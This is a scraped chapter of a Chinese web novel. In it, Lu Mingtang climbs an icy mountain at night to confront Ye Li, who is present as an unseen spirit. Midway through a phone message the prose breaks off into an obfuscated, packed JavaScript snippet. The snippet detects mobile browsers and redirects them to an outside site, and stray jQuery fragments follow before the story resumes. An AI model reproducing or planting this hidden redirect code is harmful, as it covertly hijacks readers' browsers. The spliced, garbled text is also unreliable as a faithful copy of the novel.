12. 第 12 章

作品:《捞捞狗血文里的上司

    【你比我了解他,你知道,不是我。】


    叶黎直勾勾盯着陆明堂,嘴巴机械地张合,好像这样就能让心头的绝望和无力减轻一点。


    可的确是他,是他的漠视、纵容、轻信,让事态发展成这样。


    陆明堂把车开到江边,打开车窗,已经抽空了一包烟。


    吴瑜的话有水分,但大抵不假。


    叶黎不喜欢他,这他知道,但不喜欢到厌恶——


    心脏的地方一阵抽搐,他咬着烟蒂,深吸了一口,没来得及吐出,从肺腔到喉咙一阵刺痒,咳得肝肺都在抖。


    【别抽了,你之前肺炎都没好透...】


    陆明堂听不到,通话工具在他手里转了一圈又一圈,寒风让他的手指冻得发红,终于,他有些颤抖的手指按下那个在首页呆了很久的号码——


    嘟...嘟...


    “您拨叫的用户暂时无法接通,如需留言请按1,留言将收取正常通话费用。”


    果然...


    他突然感到愤怒,不信邪地一口气打了好几个,没有一个接通,终于,最后一个的时候他按下“1”,说道:


    “叶黎,你知道那不只是我的心血,那里面甚至还有你的,就因为那么点破事,你真要弄成这样吗?!”


    面对他的怒火,叶黎结结巴巴:


    【我,我,我没有...不是我...】


    一通发泄后他很快冷静下来,脑子疯转,耳听大多为虚,的确得如吴瑜所说的,亲自去问一问。


    十七所,陆明堂对这个新成立的机构的所有公开信息了如指掌,甚至其所在地都往返过数次。


    十七所位于X市远郊,从他这里驱车过去要接近十个小时,现在是凌晨三点,距离他上次吃饭喝水已经过去了十几个小时。


    一定要现在开十个小时去他工作的地点吗?


    【你当自己是铁打的吗!?】


    叶黎声色俱厉,实则如坐针毡,他都违背科学地变成这样了,总该给点什么超能力,不求多的,把这人打包带回去摁床上睡一觉的能力就够了。


    他以前怎么不知道这人拗成这样呢?


    车驶出市区没多久就开始下雪,车外温度低的吓人,陆明堂趁加油的功夫停下歇了会儿,接下去有很长的山路,路上没有大型服务区,这季节除了当兵的,基本没人会往那去了。


    早年X市想把这片开发成景区,项目开工了大半,路都基本修妥,资金却突然断裂,烂尾多年才被十七所接手。


    十七所的外围日里开放,作为X市重要的科普教育基地,这座山也是不少驴友的徒步圣地,有湖有林有草甸,但那是夏天,冬天大家都嫌冷得慌,何况晚上,所以现在跟无人区似的。


    陆明堂行驶在无人的山道上,前后无车,灯光只能照亮前方十米,叶黎看着这条熟悉的路瘆得慌,总觉得那莽莽的黑里会窜出什么不详来。


    他试图钻进陆明堂的手机,折腾了一路也没找到窍门,车突然停了下来。


    路上结冰了。


    山上气温远低于山下,随着海拔升高,小雪变成鹅毛状,灯光所照的地方,草木皆白,早在雪落前山路就已凝冻,这种路只有特种车辆上得去,不是陆明堂的城市越野能奈何的。


    叶黎心头打鼓:天意如此,下山等天亮,应该有运送物资的车要上山,到时候搭他们的车更好吧——正常人应该都会这么想。


    可能半夜上山的陆明堂已经不太正常了。


    他下车看了下车况,没多纠结,就找了手电筒徒步上山。


    【你穿的是秋衣!】叶黎失声叫道。


    他会冻死在山上的!


    尽管这里离目的地不过两公里,但夜黑成这样,谁知道会发生什么?!


    【你不要命了?我告诉你陆明堂,你现在很不冷静,你去了又怎么样,你见不到我的!这不是很亏吗?开这么远的路,爬这么冷的山,就为见一个见不到的人?不值得!


    而且我跟你保证,你等等我,等我回去,我一定去见你,行不行,我求你了,回车上,回去,下山...等天亮,起码等太阳升起来行吗?】


    叶黎疯了似的拉他,一次次无功而返,最后跳到他身上狠狠抱住,话已哽咽——如果他是鬼,那为什么怀里的身体比鬼更冷?


    陆明堂盯着山顶那点亮光,深一脚浅一脚爬着,他现在的确精神状态不佳,若是平时,他干不出这种疯事,可他太想要个结果了,哪怕是死心,哪怕是绝望。


    冷风如割,虽然手脚都没什么知觉了,但他不觉得冷,反而有些异常的热,山里的黑暗似乎侵入了视觉神经,他有些看不清电筒的光,但好在两公里并不长,他似乎没花多久就看见了十七所的门。


    门口的保安看见他,从保安室里探出头:


    “今天开放时间已经结束,要参观的等明天早上八点。”


    陆明堂扯了扯湿透的领口,喘了口气,咳嗽着哑声道:


    “我找叶黎。”


    保安室的门被打开,出来一个精神奕奕的小伙,见他衣衫单薄,面如金纸,忍不住道:


    “那你先进来,我帮你问问。”


    陆明堂道了声谢,跟进去。


    “叶黎,叶黎...”小伙子许是对所里的组织人事不够清楚,在簿子上找了半天才卡壳,确定道:“你找叶所长?”


    骤然进了温暖的地方,手脚开始遏制不住颤抖,陆明堂抬了抬眼皮,稳住声线嗯了一声。


    小伙子有些为难:


    “你有预约吗?”


    陆明堂摇头,看对方欲言又止,轻声道:


    “你告诉他,是陆明堂来找他,问他肯不肯见我。”


    小伙低声嘟囔:“我哪有他电话...”


    但还是尽心尽责地帮他打电话请示:


    “首长,有人找叶所。”


    “没有预约...他来干啥...”小伙捂住话筒,问陆明堂:


    “你来干啥?”


    陆明堂正欲回答,却突然愣了...是说项目,还是说自己...他来干嘛呢?


    “喂...你没事吧?首长,他冻傻了。”


    “有个项目...十七所的,关于神经信号转运存储节点数字基站建设的...你跟他说他就知道了...”陆明堂断断续续道。


    “哦,他说有个项目要找叶所,什么神经信号...啥?”他求助地看向陆明堂。


    陆明堂又说了一遍。


    电话那头久久没有回复,小伙让他稍安勿躁,肯定是去请示了。


    就这么又等了十分钟,电话里传来声音:


    “让他回去吧。”


    ...


    一室悄寂。


    叶黎握着他的手,说不出让他回去的话了...那小伙也莫名心慌,拿起电话又说了几句,其中好像提到了他的名字,陆明堂意识变得朦胧,没听真切。


    但结果一如既往。


    “对不起啊...要不你和叶所先联系好了再来?”小伙搓着手,不知道自己愧疚个啥。


    “谢谢。”陆明堂不多为难,他已经得到答案了,起身出门。


    “喂那谁啊,热水咋没喝呢?喝杯水啊,外面可冷了!”小保安在他身后喊。


    陆明堂没有回头。


    “你咋来的,路不是封了吗?”


    那声音被风雪压住,颤颤巍巍地,没到身边就散了。


    陆明堂已经听不见什么了,他竭力在山风里挺直腰背,一遍又一遍打着叶黎的电话,不知道按了多少次“1”,说了多少软话硬话,都没等来一个回复。


    最后一次的时候他说:</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238766|166209||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “荣漾会把事情搞砸的,你明明知道,别因为较劲干这种傻事,深空技术开不得玩笑,不能有一点偏差...你要实在气不过,我可以退出这个项目,让刘达主持...放过明德吧,我会把股份让出去,它不是我的,它也曾是你的。”


    【为什么?明德是你的,干嘛把它让出去,让给谁?你不要这样,你以前不是这样的,我没有生气,我生什么气?我也没有讨厌你,对,以前我混蛋,我不好好说人话,但那不是讨厌,我不知道你喜欢我...我真的不知道,我以为你看我不顺眼,我幼稚,我愚蠢,你骂我啊,像以前那样,你骂我一顿我就清醒了...你不要这样...】


    他们似乎在这条路上走了很久,山路弯了又完,又是雪又是冰,陆明堂摔了几个跟斗,抬起头时,发现天边已经泛出鱼肚白。


    但还是没有看见车。


    疲惫忽然如潮水一样涌来,正如他不知道该怎么回答小保安,他好像也不知道该怎么走回去,可手里的电话突然响了,就如溺死前夕出现的稻草,他都没有细看,急切地抓住:


    “喂?”


    叶黎知道他在期待什么,心疼的无法呼吸。


    “陆哥,你在哪?!”


    是刘达——所有力气又像漏砂一样从他千疮百孔的身体里流走。


    “我刚从十七所下来。”他摇摇晃晃,像个游魂一样走着。


    “你不要去!哎不是说等我吗!你见到了?”刘达跟吃了炮仗似的,声音都快起火。


    陆明堂突然笑了:


    “之前你说的对,我该去问问的。”


    “诶不是,我之前,嗨我这张嘴...咱不靠他..不是,你别理他...”


    “你们都知道了?”


    “啥?”


    “我喜欢他。”


    “哈?啊...什么...啊..”刘达的声音变得低弱。


    “所以真的...昭然若揭,所有人都看出来了?”陆明堂捂了捂眼睛,哧的笑出来。


    刘达起先不知道,但后来跟老婆一念,嘭地被点醒,几兄弟凑一块越琢磨越是这么回事,陆明堂那些明晃晃的双标都得到了合理的解释。


    “也没...”刘达支支吾吾。


    “所以其实他也知道了...但他真的知道吗?是喜欢,不是轻浮。”


    “陆哥,他和咱不是一个世界的。”刘达小心道。


    “你知道那天我们闹什么吗?”


    刘达其实已经不好奇了,但陆明堂坚持要说:


    “是我强吻了他,所以他揍了我一顿。”说完,他站住,忍不住笑,弯下腰,又笑又喘:“我搞砸了一切。”


    “啊?”刘达愣了,这不像陆明堂能干的事儿啊。


    在他的笑声里,叶黎定在原地,两眼发木,心跳如雷,回忆起那天的情形——


    他动手是因为...


    【你不要找他麻烦!是我自己的选择,这钱那我自己能还!我去做苦力,去卖身,去卖血!我欠的我一个子都不会少他!】


    因为吴瑜哭的满脸泪,露出身上斑斑点点的淤紫,他说是陆明堂逼他去招待...


    奇怪,现在想来明明全是疑点,当时他怎么就信了呢?


    他暴怒,像身体里被撕碎了什么,连梦里都在痛斥陆明堂——


    骂他虚伪!道貌岸然!


    嘴上说一套背地做一套!


    他骗了他,他竟然让他以为他们是知己!是最亲密的朋友!


    何况醒来后他打了他,他没有还手...为什么不还手,是心虚...所以他承认了...真是他干的...


    他怎么能是这样的人...他怎么能毁了他认识的陆明堂?


    叶黎齿关发颤,继而浑身都发起抖来。


    可原来,只是一个吻吗?